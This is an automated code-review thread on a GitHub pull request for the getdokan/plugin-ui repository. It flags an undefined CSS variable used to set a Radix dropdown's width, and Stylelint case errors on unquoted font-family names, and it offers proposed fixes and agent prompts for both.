Repository: getdokan/plugin-ui

Length of output: 91


🏁 Script executed:

# Check if there's any CSS or styling file that might define custom variables
find . -name "*.css" -o -name "*.scss" | head -20

Repository: getdokan/plugin-ui

Length of output: 134


🏁 Script executed:

# Check the CSS files for --anchor-width or any dropdown-related variables
cat src/styles.css

Repository: getdokan/plugin-ui

Length of output: 9459


🏁 Script executed:

# Check the tweakcn CSS file
cat src/tweakcn.css

Repository: getdokan/plugin-ui

Length of output: 6945


🏁 Script executed:

# Check the WordPress style CSS
cat src/components/wordpress/style.css

Repository: getdokan/plugin-ui

Length of output: 4475


🏁 Script executed:

# Search for other dropdown implementations in the codebase
rg "DropdownMenuContent" -A 3 -B 3

Repository: getdokan/plugin-ui

Length of output: 13735


🌐 Web query:

Radix UI DropdownMenu trigger width CSS variable documentation

💡 Result:

The Radix UI DropdownMenu exposes a CSS custom property --radix-dropdown-menu-trigger-width that provides the computed width of the DropdownMenu.Trigger element. This variable is available on the DropdownMenu.Content (and SubContent) and is used for positioning and sizing the dropdown content relative to the trigger. It is listed in the official documentation among other related CSS variables: --radix-dropdown-menu-content-transform-origin: The transform-origin computed from the content and arrow positions/offsets --radix-dropdown-menu-content-available-width: The remaining width between the trigger and the boundary edge --radix-dropdown-menu-content-available-height: The remaining height between the trigger and the boundary edge --radix-dropdown-menu-trigger-width: The width of the trigger --radix-dropdown-menu-trigger-height: The height of the trigger Example usage to match content width to trigger width: .DropdownMenuContent { width: var(--radix-dropdown-menu-trigger-width); } Source code confirms this variable is documented for constraining content size to match the trigger.

Citations:


--anchor-width is not a valid Radix UI CSS variable; the dropdown content will not match the trigger width.

The correct variable for matching DropdownMenuContent to its trigger width is --radix-dropdown-menu-trigger-width, which Radix UI exposes on the dropdown content element. Using --anchor-width (which is undefined) will cause the dropdown to render at its natural width instead of spanning the trigger.

🐛 Proposed fix
-              <DropdownMenuContent className="w-[var(--anchor-width)]">
+              <DropdownMenuContent className="w-[--radix-dropdown-menu-trigger-width]">
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/components/ui/Modal.stories.tsx` at line 91, The DropdownMenuContent is
using an invalid CSS variable (--anchor-width) so the menu won't match the
trigger; update the className on DropdownMenuContent to use the Radix-provided
variable --radix-dropdown-menu-trigger-width (i.e., replace any reference to
--anchor-width with --radix-dropdown-menu-trigger-width) so the dropdown content
width matches the trigger element; locate the usage in the DropdownMenuContent
component in Modal.stories.tsx to apply the change.

Comment thread src/styles.css
Comment on lines +77 to +79
--font-sans: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, 'Noto Sans', sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol', 'Noto Color Emoji';
--font-serif: ui-serif, Georgia, Cambria, "Times New Roman", Times, serif;
--font-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor | ⚡ Quick win

Quote non-generic font family names to resolve Stylelint value-keyword-case errors.

Stylelint flags BlinkMacSystemFont, Roboto, Arial, Georgia, Cambria, Times, SFMono-Regular, Menlo, Monaco, and Consolas as [error] because they're unquoted proper names treated as CSS identifiers. Quoted strings are exempt from the value-keyword-case rule.

🎨 Proposed fix
-    --font-sans: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, 'Noto Sans', sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol', 'Noto Color Emoji';
-    --font-serif: ui-serif, Georgia, Cambria, "Times New Roman", Times, serif;
-    --font-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
+    --font-sans: ui-sans-serif, system-ui, -apple-system, 'BlinkMacSystemFont', 'Segoe UI', 'Roboto', 'Helvetica Neue', 'Arial', 'Noto Sans', sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol', 'Noto Color Emoji';
+    --font-serif: ui-serif, 'Georgia', 'Cambria', "Times New Roman", 'Times', serif;
+    --font-mono: ui-monospace, 'SFMono-Regular', 'Menlo', 'Monaco', 'Consolas', "Liberation Mono", "Courier New", monospace;
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
--font-sans: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, 'Noto Sans', sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol', 'Noto Color Emoji';
--font-serif: ui-serif, Georgia, Cambria, "Times New Roman", Times, serif;
--font-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
--font-sans: ui-sans-serif, system-ui, -apple-system, 'BlinkMacSystemFont', 'Segoe UI', 'Roboto', 'Helvetica Neue', 'Arial', 'Noto Sans', sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol', 'Noto Color Emoji';
--font-serif: ui-serif, 'Georgia', 'Cambria', "Times New Roman", 'Times', serif;
--font-mono: ui-monospace, 'SFMono-Regular', 'Menlo', 'Monaco', 'Consolas', "Liberation Mono", "Courier New", monospace;
🧰 Tools
🪛 Stylelint (17.10.0)

[error] 77-77: Expected "BlinkMacSystemFont" to be "blinkmacsystemfont" (value-keyword-case)

(value-keyword-case)


[error] 77-77: Expected "Roboto" to be "roboto" (value-keyword-case)

(value-keyword-case)


[error] 77-77: Expected "Arial" to be "arial" (value-keyword-case)

(value-keyword-case)


[error] 78-78: Expected "Georgia" to be "georgia" (value-keyword-case)

(value-keyword-case)


[error] 78-78: Expected "Cambria" to be "cambria" (value-keyword-case)

(value-keyword-case)


[error] 78-78: Expected "Times" to be "times" (value-keyword-case)

(value-keyword-case)


[error] 79-79: Expected "SFMono-Regular" to be "sfmono-regular" (value-keyword-case)

(value-keyword-case)


[error] 79-79: Expected "Menlo" to be "menlo" (value-keyword-case)

(value-keyword-case)


[error] 79-79: Expected "Monaco" to be "monaco" (value-keyword-case)

(value-keyword-case)


[error] 79-79: Expected "Consolas" to be "consolas" (value-keyword-case)

(value-keyword-case)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/styles.css` around lines 77 - 79, Stylelint errors are caused by unquoted
proper font family names in the CSS variables (--font-sans, --font-serif,
--font-mono); update those variables so that all non-generic/proper names (e.g.,
BlinkMacSystemFont, Roboto, Arial, Georgia, Cambria, Times, SFMono-Regular,
Menlo, Monaco, Consolas) are wrapped in quotes while leaving generic family
keywords (e.g., sans-serif, serif, monospace) unquoted, ensuring each value list
in --font-sans, --font-serif, and --font-mono uses quoted strings for multi-word
or proper names to satisfy the value-keyword-case rule.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant